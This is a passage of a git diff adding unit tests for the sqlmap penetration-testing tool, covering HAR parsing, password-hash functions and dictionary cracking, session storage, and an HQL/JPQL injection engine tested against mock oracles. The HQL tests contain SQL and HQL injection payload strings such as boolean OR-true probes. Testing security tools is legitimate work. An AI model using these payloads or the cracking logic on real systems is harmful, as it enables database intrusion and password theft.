+import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import gui + + +class _OptparseLikeOption(object): + """Minimal optparse.Option stand-in (drives the non-argparse branches).""" + def __init__(self, short, long_, dest, help_, type_=None, takes=True): + self._short_opts = [short] if short else [] + self._long_opts = [long_] if long_ else [] + self.dest = dest + self.help = help_ + self.type = type_ + self._takes = takes + + def takes_value(self): + return self._takes + + +class _OptparseLikeGroup(object): + def __init__(self, title, description, options): + self.title = title + self.description = description + self.option_list = options + + def get_description(self): + return self.description + + +def _build_argparse(): + p = argparse.ArgumentParser() + g = p.add_argument_group("Target", "options for the target") + g.add_argument("-u", "--url", dest="url", help="target url") + g.add_argument("--level", dest="level", type=int, help="level", choices=[1, 2, 3]) + g.add_argument("--flag", dest="flag", action="store_true", help="a boolean") + return p, g + + +class TestArgparseBackend(unittest.TestCase): + def setUp(self): + self.parser, self.group = _build_argparse() + + def test_parser_groups_found(self): + groups = gui._parserGroups(self.parser) + titles = [gui._groupTitle(g) for g in groups] + self.assertIn("Target", titles) + + def test_group_options_and_metadata(self): + opts = gui._groupOptions(self.group) + self.assertTrue(opts) + self.assertEqual(gui._groupDescription(self.group), "options for the target") + + def test_opt_accessors(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + url = by_dest["url"] + self.assertIn("--url", gui._optStrings(url)) + self.assertEqual(gui._optHelp(url), "target url") + self.assertTrue(gui._optTakesValue(url)) + self.assertEqual(gui._optValueType(url), "string") + self.assertIn("--url", gui._optionLabel(url)) + + def test_int_type_and_choices(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + level = by_dest["level"] + self.assertEqual(gui._optValueType(level), "int") + self.assertEqual(gui._optChoices(level), [1, 2, 3]) + + def test_store_true_takes_no_value(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + self.assertFalse(gui._optTakesValue(by_dest["flag"])) + + +class TestOptparseBackend(unittest.TestCase): + def setUp(self): + self.opt = _OptparseLikeOption("-u", "--url", "url", "target url", type_="string") + self.intopt = _OptparseLikeOption(None, "--level", "level", "level", type_="int") + self.boolopt = _OptparseLikeOption(None, "--flag", "flag", "flag", takes=False) + self.group = _OptparseLikeGroup("Target", "target opts", [self.opt, self.intopt, self.boolopt]) + + def test_opt_strings_from_short_long(self): + self.assertEqual(gui._optStrings(self.opt), ["-u", "--url"]) + + def test_value_type_and_takes(self): + self.assertEqual(gui._optValueType(self.intopt), "int") + self.assertTrue(gui._optTakesValue(self.opt)) + self.assertFalse(gui._optTakesValue(self.boolopt)) + + def test_group_description_via_method(self): + self.assertEqual(gui._groupDescription(self.group), "target opts") + self.assertEqual(gui._groupOptions(self.group), [self.opt, self.intopt, self.boolopt]) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_har.py b/tests/test_har.py new file mode 100644 index 00000000000..bf98f260833 --- /dev/null +++ b/tests/test_har.py @@ -0,0 +1,188 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for lib/utils/har.py -- HAR (HTTP Archive) collector and HTTP +request/response parsing used by sqlmap's --har-file feature. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import har as H + + +class TestFakeSocket(unittest.TestCase): + def test_makefile_returns_bytesio(self): + sock = H.FakeSocket(b"hello\r\n") + f = sock.makefile() + self.assertEqual(f.read(), b"hello\r\n") + + +class TestRawPair(unittest.TestCase): + def test_stores_fields(self): + pair = H.RawPair(b"GET / HTTP/1.0\r\n\r\n", + b"HTTP/1.0 200 OK\r\n\r\n", + startTime=1000, endTime=2000) + self.assertEqual(pair.request, b"GET / HTTP/1.0\r\n\r\n") + self.assertEqual(pair.response, b"HTTP/1.0 200 OK\r\n\r\n") + self.assertEqual(pair.startTime, 1000) + self.assertEqual(pair.endTime, 2000) + + +class TestHTTPCollector(unittest.TestCase): + def test_collect_and_obtain(self): + c = H.HTTPCollector() + c.collectRequest(b"GET / HTTP/1.0\r\nHost: example.com\r\n\r\n", + b"HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\nbody", + startTime=1000, endTime=2000) + result = c.obtain() + log = result["log"] + self.assertEqual(log["version"], "1.2") + self.assertEqual(log["creator"]["name"], "sqlmap") + entries = log["entries"] + self.assertEqual(len(entries), 1) + self.assertEqual(entries[0]["request"]["method"], "GET") + self.assertEqual(entries[0]["response"]["status"], 200) + + +class TestHTTPCollectorFactory(unittest.TestCase): + def test_create_returns_collector(self): + f = H.HTTPCollectorFactory(harFile=True) + c = f.create() + self.assertIsInstance(c, H.HTTPCollector) + + +class TestEntry(unittest.TestCase): + def test_toDict(self): + req = H.Request("GET", "/path", "HTTP/1.1", + {"Host": "example.com"}) + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "text/html"}, b"body") + entry = H.Entry(req, resp, startTime=1000, endTime=2000, + extendedArguments={}) + d = entry.toDict() + self.assertEqual(d["request"]["method"], "GET") + self.assertEqual(d["response"]["status"], 200) + self.assertEqual(d["time"], 1000000) + self.assertIn("startedDateTime", d) + + +class TestRequest(unittest.TestCase): + def test_parse_simple_get(self): + raw = b"GET /path HTTP/1.1\r\nHost: example.com\r\n\r\n" + req = H.Request.parse(raw) + self.assertEqual(req.method, "GET") + self.assertEqual(req.path, "/path") + self.assertEqual(req.httpVersion, "HTTP/1.1") + self.assertEqual(req.headers.get("Host"), "example.com") + + def test_parse_with_comment(self): + raw = (b"HTTP request [#1]:\r\n" + b"POST /submit HTTP/1.0\r\n" + b"Host: example.com\r\n" + b"Content-Type: text/plain\r\n" + b"Content-Length: 4\r\n" + b"\r\n" + b"body") + req = H.Request.parse(raw) + self.assertEqual(req.method, "POST") + self.assertEqual(req.path, "/submit") + self.assertEqual(req.comment, b"HTTP request [#1]:") + self.assertIn(b"body", req.postBody) + + def test_toDict(self): + req = H.Request("GET", "/", "HTTP/1.0", + {"Host": "test.com", "Accept": "*/*"}) + d = req.toDict() + self.assertEqual(d["method"], "GET") + self.assertEqual(d["url"], "http://test.com/") + self.assertEqual(len(d["headers"]), 2) + + def test_toDict_with_postbody(self): + req = H.Request("POST", "/", "HTTP/1.1", + {"Host": "test.com", "Content-Type": "application/json"}, + postBody=b'{"a":1}') + d = req.toDict() + self.assertEqual(d["postData"]["mimeType"], "application/json") + self.assertIn('{"a":1}', d["postData"]["text"]) + + def test_url_property(self): + req = H.Request("GET", "/path?q=1", "HTTP/1.0", + {"Host": "example.com"}) + self.assertEqual(req.url, "http://example.com/path?q=1") + + def test_url_no_host_header(self): + req = H.Request("GET", "/", "HTTP/1.0", {}) + self.assertIn("unknown", req.url) + + +class TestResponse(unittest.TestCase): + def test_parse_simple(self): + raw = b"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 4\r\n\r\nbody" + resp = H.Response.parse(raw) + self.assertEqual(resp.status, 200) + self.assertEqual(resp.statusText, "OK") + self.assertEqual(resp.headers.get("Content-Type"), "text/html") + self.assertEqual(resp.content, b"body") + + def test_parse_with_comment(self): + raw = (b"HTTP response [#1] (200 Fine):\r\n" + b"HTTP/1.0 200 Fine\r\n" + b"Content-Type: text/plain\r\n" + b"\r\n" + b"response body") + resp = H.Response.parse(raw) + self.assertEqual(resp.status, 200) + self.assertEqual(resp.statusText, "Fine") + self.assertIn(b"HTTP response", resp.comment) + + def test_toDict(self): + resp = H.Response("HTTP/1.1", 404, "Not Found", + {"Content-Type": "text/html"}, b"not found") + d = resp.toDict() + self.assertEqual(d["status"], 404) + self.assertEqual(d["statusText"], "Not Found") + self.assertEqual(d["content"]["text"], "not found") + self.assertEqual(d["content"]["size"], 9) + + def test_toDict_binary_content_encoded(self): + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "application/octet-stream"}, + b"\x00\x01\xff") + d = resp.toDict() + self.assertEqual(d["content"]["encoding"], "base64") + + def test_toDict_binary_without_null_still_base64(self): + # regression: binary content lacking NUL/0x01 (e.g. a JPEG header) must still be + # base64-encoded, not mangled into the "text" field as a lossy decode + import base64 as _b64 + jpeg = b"\xff\xd8\xff\xe0\x10JFIF\x02\x03" + d = H.Response("HTTP/1.1", 200, "OK", {"Content-Type": "image/jpeg"}, jpeg).toDict() + self.assertEqual(d["content"]["encoding"], "base64") + self.assertEqual(_b64.b64decode(d["content"]["text"]), jpeg) # lossless + + def test_toDict_utf8_multibyte_stays_text(self): + # valid UTF-8 (incl. multibyte) is human-readable text, not base64 + original = b"caf\xc3\xa9 \xe4\xbd\xa0\xe5\xa5\xbd".decode("utf-8") # cafe+e-acute+two CJK, pure-ASCII source + d = H.Response("HTTP/1.1", 200, "OK", {"Content-Type": "text/plain; charset=utf-8"}, + original.encode("utf-8")).toDict() + self.assertNotIn("encoding", d["content"]) + self.assertEqual(d["content"]["text"], original) + + def test_toDict_non_text_content(self): + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "text/plain"}, b"plain text") + d = resp.toDict() + self.assertEqual(d["content"]["text"], "plain text") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hash.py b/tests/test_hash.py new file mode 100644 index 00000000000..42db6995e4b --- /dev/null +++ b/tests/test_hash.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Password-hashing primitives (lib/utils/hash.py) used by the dictionary-attack +cracker (-? / --passwords). These are pure functions; correctness here is what +makes a cracked password actually match the target hash. + +The generic hashes are cross-checked against the stdlib hashlib (an INDEPENDENT +oracle, not just a regression against sqlmap's own output). The DBMS-specific +algorithms (MySQL/MSSQL/Oracle/Postgres) are pinned to known vectors, and +hashRecognition's classification is exercised as a table. +""" + +import hashlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import hash as H +from lib.core.enums import HASH + + +class TestGenericVsHashlib(unittest.TestCase): + """Independent oracle: sqlmap's generic hashes must equal stdlib hashlib.""" + + PW = "testpass" + + def test_md5(self): + self.assertEqual(H.md5_generic_passwd(self.PW), hashlib.md5(b"testpass").hexdigest()) + + def test_sha1(self): + self.assertEqual(H.sha1_generic_passwd(self.PW), hashlib.sha1(b"testpass").hexdigest()) + + def test_sha224(self): + self.assertEqual(H.sha224_generic_passwd(self.PW), hashlib.sha224(b"testpass").hexdigest()) + + def test_sha256(self): + self.assertEqual(H.sha256_generic_passwd(self.PW), hashlib.sha256(b"testpass").hexdigest()) + + def test_sha384(self): + self.assertEqual(H.sha384_generic_passwd(self.PW), hashlib.sha384(b"testpass").hexdigest()) + + def test_sha512(self): + self.assertEqual(H.sha512_generic_passwd(self.PW), hashlib.sha512(b"testpass").hexdigest()) + + +class TestUppercase(unittest.TestCase): + def test_uppercase_flag(self): + self.assertEqual(H.md5_generic_passwd("testpass", uppercase=True), + hashlib.md5(b"testpass").hexdigest().upper()) + + def test_lowercase_default(self): + out = H.md5_generic_passwd("testpass", uppercase=False) + self.assertEqual(out, out.lower()) + + +class TestDbmsSpecificVectors(unittest.TestCase): + """Known vectors for the DBMS-native algorithms (mirrors the docstrings).""" + + def test_mysql(self): + self.assertEqual(H.mysql_passwd("testpass", uppercase=True), + "*00E247AC5F9AF26AE0194B41E1E769DEE1429A29") + + def test_mysql_old(self): + self.assertEqual(H.mysql_old_passwd("testpass", uppercase=True), "7DCDA0D57290B453") + + def test_postgres(self): + self.assertEqual(H.postgres_passwd("testpass", "testuser", uppercase=False), + "md599e5ea7a6f7c3269995cba3927fd0093") + + def test_mssql(self): + self.assertEqual(H.mssql_passwd("testpass", salt="4086ceb6", uppercase=False), + "0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") + + def test_oracle(self): + self.assertEqual(H.oracle_passwd("SHAlala", salt="1B7B5F82B7235E9E182C", uppercase=True), + "S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") + + def test_oracle_old(self): + self.assertEqual(H.oracle_old_passwd("tiger", "scott", uppercase=True), "F894844C34402B67") + + +class TestHashRecognition(unittest.TestCase): + def test_md5_generic(self): + self.assertEqual(H.hashRecognition("179ad45c6ce2cb97cf1029e212046e81"), HASH.MD5_GENERIC) + + def test_sha1_generic(self): + self.assertEqual(H.hashRecognition("206c80413b9a96c1312cc346b7d2517b84463edd"), HASH.SHA1_GENERIC) + + def test_mysql(self): + self.assertEqual(H.hashRecognition("*00E247AC5F9AF26AE0194B41E1E769DEE1429A29"), HASH.MYSQL) + + def test_crypt_generic(self): + # Traditional DES crypt(3) (hashcat -m 1500); mixed-case is required by the heuristic + self.assertEqual(H.hashRecognition("rl.3StKT.4T8M"), HASH.CRYPT_GENERIC) + + def test_crypt_generic_single_case_is_none(self): + # All-lower/all-upper 13-char values are too greedy to be trusted as crypt + self.assertIsNone(H.hashRecognition("abcdefghijklm")) + self.assertIsNone(H.hashRecognition("ABCDEFGHIJKLM")) + + def test_junk_is_none(self): + self.assertIsNone(H.hashRecognition("foobar")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hash_crack.py b/tests/test_hash_crack.py new file mode 100644 index 00000000000..3d61d00d14c --- /dev/null +++ b/tests/test_hash_crack.py @@ -0,0 +1,232 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Dictionary-attack machinery in lib/utils/hash.py (the cracking loop, hash-file +parsing, result storage and table/cache post-processing) - the part NOT covered +by tests/test_hash.py, which only exercises the pure hash-format functions. + +These run the single-process cracking path (conf.disableMulti=True) against a +TINY temp wordlist that contains the known plaintext, so a known hash is cracked +deterministically in milliseconds without interactive prompts, multiprocessing +pools, network, or the real default dictionary. conf.hashDB is forced to None so +hashDBRetrieve/hashDBWrite become no-ops (no session DB side effects). +""" + +import glob +import hashlib +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import hash as H +from lib.core.data import conf, kb +from lib.core.enums import MKSTEMP_PREFIX + +import atexit +import shutil +SCRATCH = tempfile.mkdtemp(prefix="sqlmap_test_hashcrack_") +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) + +# known plaintext / hashes shared across tests +PW = "testpass" +MD5_HASH = hashlib.md5(PW.encode("utf-8")).hexdigest() + + +class _CrackBase(unittest.TestCase): + """Sets up a tiny wordlist and non-interactive, no-DB, single-process state.""" + + @classmethod + def setUpClass(cls): + cls._tmpfiles = [] + + # tiny wordlist containing the known plaintext (plus decoys) + cls.wordlist = os.path.join(SCRATCH, "test_hash_crack_wl.txt") + with open(cls.wordlist, "w") as f: + f.write("foo\nbar\n%s\nbaz\n" % PW) + cls._tmpfiles.append(cls.wordlist) + + @classmethod + def tearDownClass(cls): + for path in cls._tmpfiles: + try: + os.remove(path) + except OSError: + pass + + def setUp(self): + # snapshot global state we mutate + self._saved = { + "disableMulti": conf.disableMulti, + "hashDB": conf.hashDB, + "hashFile": conf.hashFile, + "wordlists": kb.wordlists, + "cachedUsersPasswords": kb.data.cachedUsersPasswords if "cachedUsersPasswords" in kb.data else None, + "storeHashes": kb.choices.storeHashes if "storeHashes" in kb.choices else None, + } + + # deterministic, fast, side-effect-free cracking + conf.disableMulti = True + conf.hashDB = None + kb.wordlists = [self.wordlist] + + # cracking prints "[INFO] cracked password ..." via dataToStdout(forceOutput=True), which + # bypasses both the logger and kb.wizardMode suppression; redirect stdout so the unittest + # report stays clean (these tests assert on return values/kb, never on console output). + self._saved_stdout = sys.stdout + sys.stdout = open(os.devnull, "w") + + def tearDown(self): + if getattr(self, "_saved_stdout", None) is not None: + try: + sys.stdout.close() + finally: + sys.stdout = self._saved_stdout + conf.disableMulti = self._saved["disableMulti"] + conf.hashDB = self._saved["hashDB"] + conf.hashFile = self._saved["hashFile"] + kb.wordlists = self._saved["wordlists"] + kb.data.cachedUsersPasswords = self._saved["cachedUsersPasswords"] + kb.choices.storeHashes = self._saved["storeHashes"] + + +class TestDictionaryAttack(_CrackBase): + def test_crack_md5_generic_variant_a(self): + # generic (no-salt) algorithms go through _bruteProcessVariantA + results = H.dictionaryAttack({"admin": [MD5_HASH]}) + self.assertEqual(results, [("admin", MD5_HASH, PW)]) + + def test_crack_postgres_variant_b(self): + # username-dependent algorithm goes through _bruteProcessVariantB + h = H.postgres_passwd(PW, "testuser", uppercase=False) + results = H.dictionaryAttack({"testuser": [h]}) + self.assertEqual(results, [("testuser", h, PW)]) + + def test_crack_django_md5_salted_variant_b(self): + # salted algorithm: salt is parsed out of the stored hash by dictionaryAttack + h = H.django_md5_passwd(PW, "salt") + results = H.dictionaryAttack({"u2": [h]}) + self.assertEqual(results, [("u2", h, PW)]) + + def test_no_password_found_returns_empty(self): + # plaintext not in wordlist -> nothing cracked + h = hashlib.md5(b"not-in-wordlist-xyz").hexdigest() + results = H.dictionaryAttack({"admin": [h]}) + self.assertEqual(results, []) + + def test_unknown_hash_format_ignored(self): + # a value that hashRecognition rejects produces no hash_regexes and no results + results = H.dictionaryAttack({"admin": ["not_a_hash"]}) + self.assertEqual(results, []) + + def test_empty_attack_dict(self): + self.assertEqual(H.dictionaryAttack({}), []) + + +class TestCrackHashFile(_CrackBase): + def setUp(self): + super(TestCrackHashFile, self).setUp() + # capture the parsed attack_dict that crackHashFile feeds to dictionaryAttack + self._captured = {} + self._real_attack = H.dictionaryAttack + + def _capture(attack_dict): + self._captured.clear() + self._captured.update(attack_dict) + return [] + + H.dictionaryAttack = _capture + + def tearDown(self): + H.dictionaryAttack = self._real_attack + super(TestCrackHashFile, self).tearDown() + + def test_user_colon_hash_file(self): + path = os.path.join(SCRATCH, "test_hash_crack_hashes.txt") + with open(path, "w") as f: + f.write("admin:%s\n" % MD5_HASH) + self._tmpfiles.append(path) + + conf.hashFile = path + self.assertIsNone(H.crackHashFile(path)) + + # the "user:hash" line is parsed into {username: [hash]} + self.assertEqual(self._captured, {"admin": [MD5_HASH]}) + + def test_bare_hash_file(self): + # no "user:hash" structure -> a dummy user is synthesised per line + path = os.path.join(SCRATCH, "test_hash_crack_bare.txt") + with open(path, "w") as f: + f.write("%s\n" % MD5_HASH) + self._tmpfiles.append(path) + + conf.hashFile = path + self.assertIsNone(H.crackHashFile(path)) + + from lib.core.settings import DUMMY_USER_PREFIX + self.assertEqual(len(self._captured), 1) + (key, value), = self._captured.items() + # the synthesised key uses the dummy-user prefix and maps to the bare hash + self.assertTrue(key.startswith(DUMMY_USER_PREFIX), + msg="bare line was not assigned a dummy user: %r" % key) + self.assertEqual(value, [MD5_HASH]) + + +class TestAttackCachedUsersPasswords(_CrackBase): + def test_annotates_cleartext(self): + kb.data.cachedUsersPasswords = {"admin": [MD5_HASH]} + H.attackCachedUsersPasswords() + # the original value is augmented in place with the recovered clear-text + self.assertIn("clear-text password: %s" % PW, kb.data.cachedUsersPasswords["admin"][0]) + + def test_no_cached_data_is_noop(self): + kb.data.cachedUsersPasswords = {} + # must simply return without touching anything + self.assertIsNone(H.attackCachedUsersPasswords()) + + +class TestStoreHashesToFile(_CrackBase): + def _hash_tempfiles(self): + pattern = os.path.join(tempfile.gettempdir(), MKSTEMP_PREFIX.HASHES + "*") + return set(glob.glob(pattern)) + + def test_store_disabled_writes_nothing(self): + kb.choices.storeHashes = False + before = self._hash_tempfiles() + H.storeHashesToFile({"admin": [MD5_HASH]}) + self.assertEqual(self._hash_tempfiles(), before) + + def test_store_enabled_writes_recognised_hash(self): + kb.choices.storeHashes = True + before = self._hash_tempfiles() + try: + H.storeHashesToFile({"admin": [MD5_HASH]}) + new = self._hash_tempfiles() - before + self.assertEqual(len(new), 1) + with open(next(iter(new))) as fh: + written = fh.read() + self.assertIn(MD5_HASH, written) + self.assertIn("admin", written) + finally: + for path in self._hash_tempfiles() - before: + try: + os.remove(path) + except OSError: + pass + + def test_empty_attack_dict_is_noop(self): + kb.choices.storeHashes = True + before = self._hash_tempfiles() + H.storeHashesToFile({}) + self.assertEqual(self._hash_tempfiles(), before) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hashdb.py b/tests/test_hashdb.py new file mode 100644 index 00000000000..e7475474e3c --- /dev/null +++ b/tests/test_hashdb.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Session storage layer (lib/utils/hashdb.py) - the on-disk SQLite cache that +makes --flush-session / resume work. + +Exercised against a REAL temporary SQLite file (no network, no DBMS): scalar +write/retrieve, serialized round-trip for every container type sqlmap stores, +overwrite semantics, missing-key -> None, and key-hash determinism. + +This is also the end-to-end regression for the base64-pickle bytes fix: a +serialized value containing raw `bytes` must survive a write/flush/retrieve +cycle on both Python 2 and 3 (it silently failed on py3 before the patch.py fix). +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.hashdb import HashDB +from lib.core.datatype import AttribDict +from lib.core.bigarray import BigArray + + +class _HashDBCase(unittest.TestCase): + def setUp(self): + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) # HashDB creates it lazily + self.db = HashDB(self.path) + + def tearDown(self): + try: + self.db.closeAll() + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + + +class TestScalar(_HashDBCase): + def test_string_roundtrip(self): + self.db.write("greeting", "hello") + self.db.flush() + self.assertEqual(self.db.retrieve("greeting"), "hello") + + def test_non_serialized_number_comes_back_as_text(self): + # non-serialized writes are stored via getUnicode() + self.db.write("num", 5) + self.db.flush() + self.assertEqual(self.db.retrieve("num"), "5") + + def test_missing_key_is_none(self): + self.assertIsNone(self.db.retrieve("never-written")) + + def test_overwrite_last_wins(self): + self.db.write("k", "v1") + self.db.write("k", "v2") + self.db.flush() + self.assertEqual(self.db.retrieve("k"), "v2") + + def test_keys_are_independent(self): + self.db.write("a", "1") + self.db.write("b", "2") + self.db.flush() + self.assertEqual(self.db.retrieve("a"), "1") + self.assertEqual(self.db.retrieve("b"), "2") + + +class TestSerialized(_HashDBCase): + def test_list_dict_tuple_set(self): + cases = { + "list": [1, 2, 3, "x"], + "dict": {"k": [1, {"n": "v"}]}, + "tuple": (1, "a", None), + "set": set([1, 2, 3]), + } + for key, val in cases.items(): + self.db.write(key, val, True) + self.db.flush() + for key, val in cases.items(): + self.assertEqual(self.db.retrieve(key, True), val, msg="serialized round-trip for %s" % key) + + def test_attribdict_roundtrip(self): + ad = AttribDict() + ad.x = 1 + ad.y = [1, 2] + self.db.write("ad", ad, True) + self.db.flush() + got = self.db.retrieve("ad", True) + self.assertIsInstance(got, AttribDict) + self.assertEqual(got.x, 1) + self.assertEqual(got.y, [1, 2]) + + def test_foreign_mapping_roundtrips_as_dict(self): + # a stdlib dict subclass (e.g. OrderedDict) must round-trip its data rather than + # silently degrade to its text repr (session codec: round-trip or fail loudly) + from collections import OrderedDict + from thirdparty import six + val = OrderedDict([("b", 2), ("a", [1, {"n": "v"}])]) + self.db.write("od", val, True) + self.db.flush() + got = self.db.retrieve("od", True) + self.assertEqual(got, {"b": 2, "a": [1, {"n": "v"}]}) # data preserved (was lost to text repr before) + if six.PY3: + self.assertEqual(list(got), ["b", "a"]) # order preserved where dicts are ordered + + def test_bigarray_roundtrip(self): + self.db.write("ba", BigArray([1, 2, 3]), True) + self.db.flush() + got = self.db.retrieve("ba", True) + self.assertIsInstance(got, BigArray) + self.assertEqual(list(got), [1, 2, 3]) + + def test_bytes_containing_value_survives(self): + # REGRESSION (base64-pickle bytes fix): silently failed to restore on py3 before the fix. + # Must round-trip through SQLite, not the in-memory caches: write+flush here, then open a + # FRESH HashDB on the same file (empty read/write caches) so retrieve() hits the disk path. + value = {"raw": b"\x00\x01\xff", "items": [b"ab", "s", 1]} + self.db.write("bytesval", value, True) + self.db.flush() + + fresh = HashDB(self.path) + try: + # sanity: the value is genuinely not in the fresh in-memory caches + self.assertFalse(fresh._write_cache) + hash_ = HashDB.hashKey("bytesval") + self.assertIsNone(fresh._read_cache.get(hash_)) + self.assertEqual(fresh.retrieve("bytesval", True), value) + finally: + fresh.closeAll() + + +class TestKeyHashing(_HashDBCase): + def test_distinct_keys_distinct_hashes(self): + # a broken hashKey that keys only on (say) length or the last char would collide; require + # 200 distinct keys to map to 200 distinct hashes. (Determinism is implied: the retrieve + # round-trips in TestScalar already depend on hashKey being stable.) + keys = ["key_%d_%s" % (i, "abcdefgh"[i % 8]) for i in range(200)] + hashes = set(HashDB.hashKey(k) for k in keys) + self.assertEqual(len(hashes), len(keys), msg="hashKey produced collisions across distinct keys") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hql.py b/tests/test_hql.py new file mode 100644 index 00000000000..0712b5ce04e --- /dev/null +++ b/tests/test_hql.py @@ -0,0 +1,274 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the HQL/JPQL (Hibernate ORM) injection engine. Mock +oracles stand in for the HTTP/ORM layer so detection, fingerprinting, entity leakage, +blind attribute enumeration, value extraction and output formatting can be exercised +without a live Hibernate target. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.hql.inject as hql + + +class TestHelpers(unittest.TestCase): + def test_ratio(self): + self.assertGreater(hql._ratio("abc", "abc"), 0.9) + self.assertLess(hql._ratio("abc", "xyz"), 0.5) + + def test_is_error(self): + self.assertTrue(hql._isError("org.hibernate.query.SyntaxException: token recognition error at: '''")) + self.assertTrue(hql._isError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity 'Ghost'")) + self.assertFalse(hql._isError("normal page content")) + + def test_backend_from_error(self): + self.assertEqual(hql._backendFromError("org.hibernate.query.SemanticException: boom"), "Hibernate") + self.assertIsNotNone(hql._backendFromError("org.eclipse.persistence.exceptions.JPQLException")) + self.assertIsNone(hql._backendFromError("plain page")) + + def test_entity_from_error(self): + self.assertEqual(hql._entityFromError("Could not resolve attribute 'zzz' of 'lab.App$Member'"), "lab.App$Member") + self.assertEqual(hql._entityFromError("Could not resolve root entity 'Ghost'"), "Ghost") + self.assertIsNone(hql._entityFromError("nothing here")) + + def test_short_entity(self): + self.assertEqual(hql._shortEntity("lab.App$Member"), "Member") + self.assertEqual(hql._shortEntity("com.acme.model.User"), "User") + self.assertEqual(hql._shortEntity("User"), "User") + + +class TestBoundary(unittest.TestCase): + def test_wrap_string(self): + b = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertEqual(hql._wrap("SEN", b, "1=1"), "SEN' OR 1=1 OR '1'='2") + + def test_base_sentinel_vs_numeric(self): + self.assertEqual(hql._base(hql.Boundary("' OR ", " OR '1'='2", True), "x"), hql.SENTINEL) + self.assertEqual(hql._base(hql.Boundary(" OR ", "", False), "5"), "-1") + + def test_scalar_casts_attribute(self): + expr = hql._scalar("Member", "LENGTH(CAST(_h.id AS string))", "id") + self.assertIn("CAST(_h.id AS string)", expr) + self.assertIn("FROM Member _h", expr) + self.assertIn("MIN(_h2.id)", expr) + + +class TestDetection(unittest.TestCase): + def setUp(self): + self.original = hql._send + + def tearDown(self): + hql._send = self.original + + def test_boolean_detection(self): + # TRUE payloads return rows, FALSE payloads return an empty (but stable) page + def mock(place, parameter, value): + if "OR '1'='1" in value or "OR 1=1" in value: + return "
    alice
    bob
    " + return "" + hql._send = mock + template, payload, boundary = hql._detectBoolean("GET", "name") + self.assertIsNotNone(template) + self.assertIn("OR '1'='1", payload) + self.assertTrue(boundary.sentinel) + + def test_no_detection_when_static(self): + hql._send = lambda place, parameter, value: "same" + template, _, _ = hql._detectBoolean("GET", "name") + self.assertIsNone(template) + + def test_confirm_hql_battery_on_orm(self): + # a Hibernate back-end evaluates str(): str(1)='1' true, str(1)='2' false -> diverges -> HQL + # confirmed with no error leakage + def mock(place, parameter, value): + return "
    row
    " if "str(1)='1'" in value else "" + hql._send = mock + boundary = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertTrue(hql._confirmHql("GET", "name", boundary, "x")) + + def test_confirm_hql_battery_rejects_plain_sql(self): + # a raw-SQL back-end has no str() function -> the payload ERRORS on both sides -> no divergence + def mock(place, parameter, value): + if "str(" in value: + return "You have an error in your SQL syntax; no such function: str" + return "
    row
    " + hql._send = mock + boundary = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertFalse(hql._confirmHql("GET", "name", boundary, "x")) + + def test_confirm_hql_battery_rejects_sqlite_flexible_cast(self): + # SQLite accepts arbitrary CAST type names, so CAST(1 AS string)='1' is TRUE on plain SQLite; + # the battery must NOT use cast aliases and must NOT confirm HQL here (str() has no SQLite fn -> + # errors -> no divergence). This is the exact P0-3 false-positive being guarded against. + def mock(place, parameter, value): + if "str(" in value: # SQLite: no such function -> error + return "SQLite error: no such function: str" + if "CAST(1 AS string)='1'" in value: # SQLite WOULD accept this as true... + return "
    row
